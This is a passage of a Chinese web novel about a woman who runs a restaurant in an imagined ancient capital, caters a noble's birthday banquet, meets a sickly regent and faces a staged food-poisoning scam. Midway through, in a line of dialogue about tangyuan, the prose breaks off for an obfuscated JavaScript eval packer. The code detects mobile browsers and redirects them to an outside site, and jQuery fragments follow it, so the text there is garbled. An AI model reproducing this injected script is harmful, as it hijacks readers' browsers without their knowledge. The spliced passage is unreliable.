秋去冬来。
醉仙楼也是紧跟时令，上了火锅。熬上一锅骨汤，各种素菜、肉往里面放，裹满酱料，冬天吃上一口这热乎乎的菜，不知道有多幸福。
现在街上行人、书院里学子讨论的都是，你去没去过醉仙楼吃火锅？那一口热菜下去，简直是人间美味。
沈枝坐在二楼雅间榻上算账本，身穿蓝色雪狐绒斗篷，手上拿着汤婆子。
合上账本，这两个月醉仙楼一共赚了五千八百两，还不错。她要加快进程把其他事情给安排上来。
“嘶，这里的冬天怎么这么冷？才十一月啊！”沈枝没穿来之前是个地地道道的南方人，根本没感受过这么冷的冬天。
……
“掌柜的，我能订几桌席面吗？你家菜做得很好吃，想请你家大厨上府里做，价钱好商量，我们是永昌侯府的。”张婆子说道。
福伯一听是永昌侯府就拿不了主意。他连忙说：“您稍等，我去请示一下少东家。”
说完他往二楼去。
咚，咚，咚！敲门声响起！
“少东家，我有重要事情汇报。”
沈枝朝惊蛰使了个眼色，惊蛰便去开门了。
“少东家，楼下有个自称永昌侯府的婆子，想要请咱们上府做几桌席面，这事您看？”福伯询问。
“这不瞌睡来了有人送枕头。”沈枝指尖轻敲桌面，她在思考福伯说的话。
能上达官贵人府上做宴席，对于醉仙楼来说是好事，对于她以后组织情报网很有帮助，但同时也是一个大挑战。
稍有不慎，便万劫不复。
沈枝深思熟虑后还是让福伯把那位婆子叫了上来。
她打算接下。
“呀！您就是少东家？我是永昌侯府的采买，你可以叫我张婆子。小娘子不一般呀！”张婆子看到沈枝惊讶到，小小年纪如此厉害。
“张婆子，听掌柜说，贵府想要我们醉仙楼去府上做席宴，可有定菜单？还是我们定？什么时间，多少人？是什么宴席？可有什么忌口？”
沈枝一开口就很专业，交流了半个时辰，终于把所有细节定下，菜单也拟定了。
原来是侯府老夫人喜欢吃她家的泡泡馄饨，后面也试过几次新菜，都很满意。沈枝也没想到还有这个渊源。
时间定在冬月十五日，侯府老夫人寿宴。
然而还没等沈枝开心完，回到沈宅就听下人说沈母生病了。
沈枝还没走到沈母房间，就听见里面咳嗽声不断。
“娘，您身体如何了？可有请大夫来诊治？怎么咳嗽不止。”沈枝脸色担忧问道。
“枝枝，你回来了？别担心，娘已经喝过药了，大夫说感染了风寒，多吃几幅药就能好。你快去休息吧，累了一天。娘这里有嬷嬷陪着呢？”刚说完，沈母又忍不住咳了起来。
沈枝看到这，直奔厨房走去。
在厨房找到两个橘子，生姜，用盐搓洗干净表皮，在顶端切开盖，在橙子挖孔把姜片放上去再均匀撒上一层盐，用筷子把盐戳进去，把皮盖回去，冷水上锅蒸二十分钟，就可以出锅趁热吃了。
她端过去沈母的房间。
“娘，趁热吃了这个，这是盐蒸橘子，是一种药膳，可以缓解咳。”沈枝说。
嬷嬷接过喂给钱锦娘吃，酸酸甜甜还有点咸，吃完沈母喉咙真的舒服多了。
沈枝突然脑袋灵光一闪，何不把药膳用在酒楼里卖？
冬月十四日，醉仙楼后院。
沈枝正在捣鼓着她那土窑，这两天她一直在想做什么样的宴席才能让侯府众人眼前一亮。
既然是寿宴，她便想到了蛋糕。
可是古代没有烤箱，她思来想去还是决定用土窑代替烤箱。
以前她刷短视频有看到过，大概还记得，用碎草、河边粘土、黄泥和在一起，堆窑身，下留风口排烟，再大火烧干。
这两天沈枝一直在磨合土窑的温度，终于烤出一个像样的蛋糕胚了。
一开始大家都不知道沈枝要干什么，看她忙活那堆泥巴，半天也看不出个啥，就没在管了。
当第三个残次品端出来，大家还是惊奇了一下：得，又是没见过的东西，还说是什么蛋糕，闻所未闻，少东家脑子里的想法可真稀奇。
今天是沈枝做的成品，她已经完全掌握好土窑的火候了。
时间一到，她小心翼翼地把蛋糕端出来晾凉，在表层抹上昨天熬好的橘子果酱，一层金黄黄的，再放上新鲜橘子肉，用梅花点缀，金黄里几点红，搭配得很好看。
沈枝自己都很满意。
冬月十五日，沈枝早早的就带上惊蛰白露去了醉仙楼。今日她打算亲自带队掌勺，她挑了柳厨娘，林伯，福伯，伙计平安几人，带着食材一同前往永昌侯府。
几位除了平安都是合作过的，用得顺手。
张婆子在后门把她们接了进去。
沈枝一进厨房，就把宣纸打开，看着菜单有条不紊得安排大家干活。
……
沈枝出去净手回来，找不到路了。
这侯府不是一般地大，她七拐八拐都转晕了。
穿过回廊，她看见园中亭子有好几位男子在喝茶聊天。
沈枝是个颜控，她眼神一下子就被坐着的那位男子给吸引住了。
一身黑金云龙绣，骨相立体，眼尾微扬，一颗泪痣点缀，鼻梁高挺，浑身透着一股疏离感。
“咳，咳，咳～”
只见那位男子抬手半遮住嘴，突然脸色苍白地咳嗽起来。
“王爷，您这病如何了？可有宣太医去府上？”小侯爷担忧地问。
沈枝早上去跟老夫人请安的时候见过这位小侯爷，鲜衣怒马、意气风发的。
“无碍。”那位男子站了起来。
当沈枝看到他身上刻着“燕”的玉佩，愣住了。
没想到就这么碰上了燕君越。
为何如此断定？当今皇家姓燕，而眼角有泪痣长相勾人又病弱，那只能是摄政王燕君越了。
而且刚才听小侯爷称呼他为王爷。
毫无夸张得说沈枝在脑子里设想过几百种会碰见燕君越的场面，都没想过就这么水灵灵地遇上了。
亭子里的燕君越也在打量着沈枝，没见过这么大胆的女子，赤裸裸的目光一直落在他身上。
他刚想让暗一把人赶走，一位嬷嬷就过来把她带走了。
沈枝回到厨房，心里久久不能平静。
寿宴上，她再次见到了这个男人，身份尊重的坐在主桌上。
沈枝冷静地端着蛋糕上前：“老夫人，这是寿宴糕点，小女子代替醉仙楼所有伙计在这祝老夫人福如东海，寿比南山。”
“好，好，方嬷嬷有赏！”景老夫人开心道。
这蛋糕端上桌，大家都被吸引住了，第一次见这种糕点。
表面上抹着橘子酱，金灿诱人，还有红梅点缀，很有氛围。
燕君越看着沈枝，嘴角一勾：有点意思。
……
寿宴结束后，沈枝就回去忙着把药膳菜品提上行程，这段时间都在翻医书研究。
不过眼下还有更重要的事等着做。
临近年末，沈枝还上门做了两次家宴，自从上次在永昌侯府做的席面很成功，醉仙楼的名声也算是彻底传出去了！
如今的酒楼生意如火如荼，宾客盈门。沈枝看着账本上越来越长的数字开心地笑了。
今日她又在厨房拉着柳厨娘一起捣鼓汤圆。
前世她就很爱做甜食，而且过年怎么能少得了汤圆呢。
沈枝先把黑芝麻，花生给炒好，放凉混在一起用纱布包住，让一旁的惊蛰用木头捶碎。
惊蛰这小丫头会点武功，有一身力气，这活交给她刚好。
接着把煮沸的玉米汁倒入糯米粉里，放少许糖，油，揉成面团，再揪成一个个小剂子，放入芝麻花生馅，搓成球。再取一个小剂子用手捏圆片对半切开，分别贴在球两侧，整成元宝形。
水开放入汤圆，直至汤圆全部浮起来，盛在碗里，撒上烘干的桃花碎和红枣碎。
一碗寓意圆圆满满，招财进宝的汤圆便成了。
柳娘子看着这金元宝样子的汤圆，连连感叹！
其他帮厨也围了上来。
福伯看到沈枝又一道新品端上来，笑容满脸。
“福伯，你挂上今日新品：招财进宝汤圆。跟客人说可以预定，在除夕吃有招财进宝、团圆幸福的寓意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945122|214038||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。可打包回府上煮，会附上煮法告知。”
“掌柜的，醉仙楼又准备出什么新菜了？”有位大叔坐的近听到了沈枝和福伯的谈话，现在京城内谁人不知沈枝这位少东家的厉害。
沈枝见状，何不从今天就开始卖？反正都是可以预定的，就吩咐柳厨娘去把汤圆端出来给大家看。
坐在大堂的食客看到这黄色小巧的金元宝面食，都觉得很新奇，吵闹着现在就要预定，怕晚了没有。
临近年前几天，醉仙楼真是人满为患，尤其连门口都排长龙了，就为了买这招财进宝汤圆。
沈枝刚忙里偷闲看会书，就被福伯上来打断了。
“少东家，摄政王和景小侯爷又来了，安排在上次的雅间，您要过去吗？”
自从上次宴席，这两位祖宗就时不时地来酒楼吃饭，还要点隐藏菜单——也就是菜单没有写的，每次沈枝都亲自下厨做一两道菜。
沈枝去后厨做了一道小笼包端上来，皮薄馅嫩，一口咬下去，鲜美汤汁流出，而且小巧精致。
“二位贵客，可还满意？对了醉仙楼新出了一款甜品，我让人打包好等下给您们带回去还是我安排送到府上？”沈枝客气说道。
“满意满意，沈枝，你这手艺绝了，怎么还有这么好吃的包子！是那什么招财汤圆对吧？等下我安排两个小厮拿回去。”小侯爷一边吃一边口齿不清地说。
“嗯，还不错！”燕君越一如既往地惜字，不过他嘴角淡淡一勾，显然心情还不错，没仔细看都察觉不了。
刚开始来的时候他连话都不会跟她说，基本都是景既白说得多。
现在燕君越能开金口蹦出来几个字，已经算熟络了。
他今天穿着一身暗红色长袍，金线刺绣，衬得肤色更白。
“这厮长得就是帅。”沈枝身为颜控狗表面镇定心里在哀嚎！
还没等沈枝回味完，突然就听到楼下很吵闹。
“谁是东家，给我滚出来。”一位长相粗旷黑壮的男子在一楼大堂大声叫喊起来。
地上担架上还躺着一位面色青灰的男子，在无声呻吟。
“各位看看呐，这是什么黑店，要害死人了！我兄弟昨晚在此饮酒，今日起来便上吐下泻，人都快不行了。这家酒楼饭菜有毒，大家都不要吃了。”
众人听到“有毒”二字，顿时吵闹起来，都嚷嚷着让少东家出来解释。
福伯和伙计在一旁安抚根本没用。
“咚咚咚～”
“少东家出事了，有人在下面闹事，说吃了咱家食物中毒了！”惊蛰跑上来的，气喘吁吁地说。
“二位爷请慢用，小女子先退下。”沈枝听到惊蛰的话后就告退下楼去。
黑壮男子眼睛带有目的性地满场巡视，待看到沈枝从楼梯上下来，又立刻大声喊：“醉仙楼要谋财害命了。”
沈枝吩咐身旁的惊蛰去请大夫过来，接着走到那位大哥面前，再看看躺在担架上的人，确实脸色不好。
“这位大哥，您说您兄弟是在醉仙楼吃饭食物中毒的？可有证据？
我醉仙楼每天打开门做生意，食材都确保新鲜的。而且昨天到现在，都没有人发生食物中毒。可是吃了别的东西？”沈枝冷静询问。
“你这小娘们，你是想翻脸不认账？我这兄弟昨晚就在你家酒楼吃饭，早上起来就变这样了，不是你们下毒还有谁？”
“对啊，他说的也有道理，东家，你们不能心这么黑吧？”大堂里有围观顾客应和道。
沈枝见此，直接拿过账本说：“这位大哥，要真是我店里有问题，我会负责到底的，倘若不是，就得报官还我醉仙楼清白。我问您，您们昨晚什么时辰，点了几样菜，坐在哪里？我账本有每一笔顾客点菜的单子，只要你说出来，我对得上，就证明你在我这里吃过饭。我们就等大夫验。”
这位黑壮男子哪里说得出吃了什么？本来就是拿了庆云楼东家的钱来闹事的。
楼上二楼雅间，燕君越看到他这眼睛乱转，迟疑的样子，就怀疑心里有鬼了。
“我哪记得吃了什么？谁又能证明你们的食物没毒？你这臭贱娘们，就是不想负责。”他污言秽语。
“我能证明。”燕君越冷漠疏离地声音响起。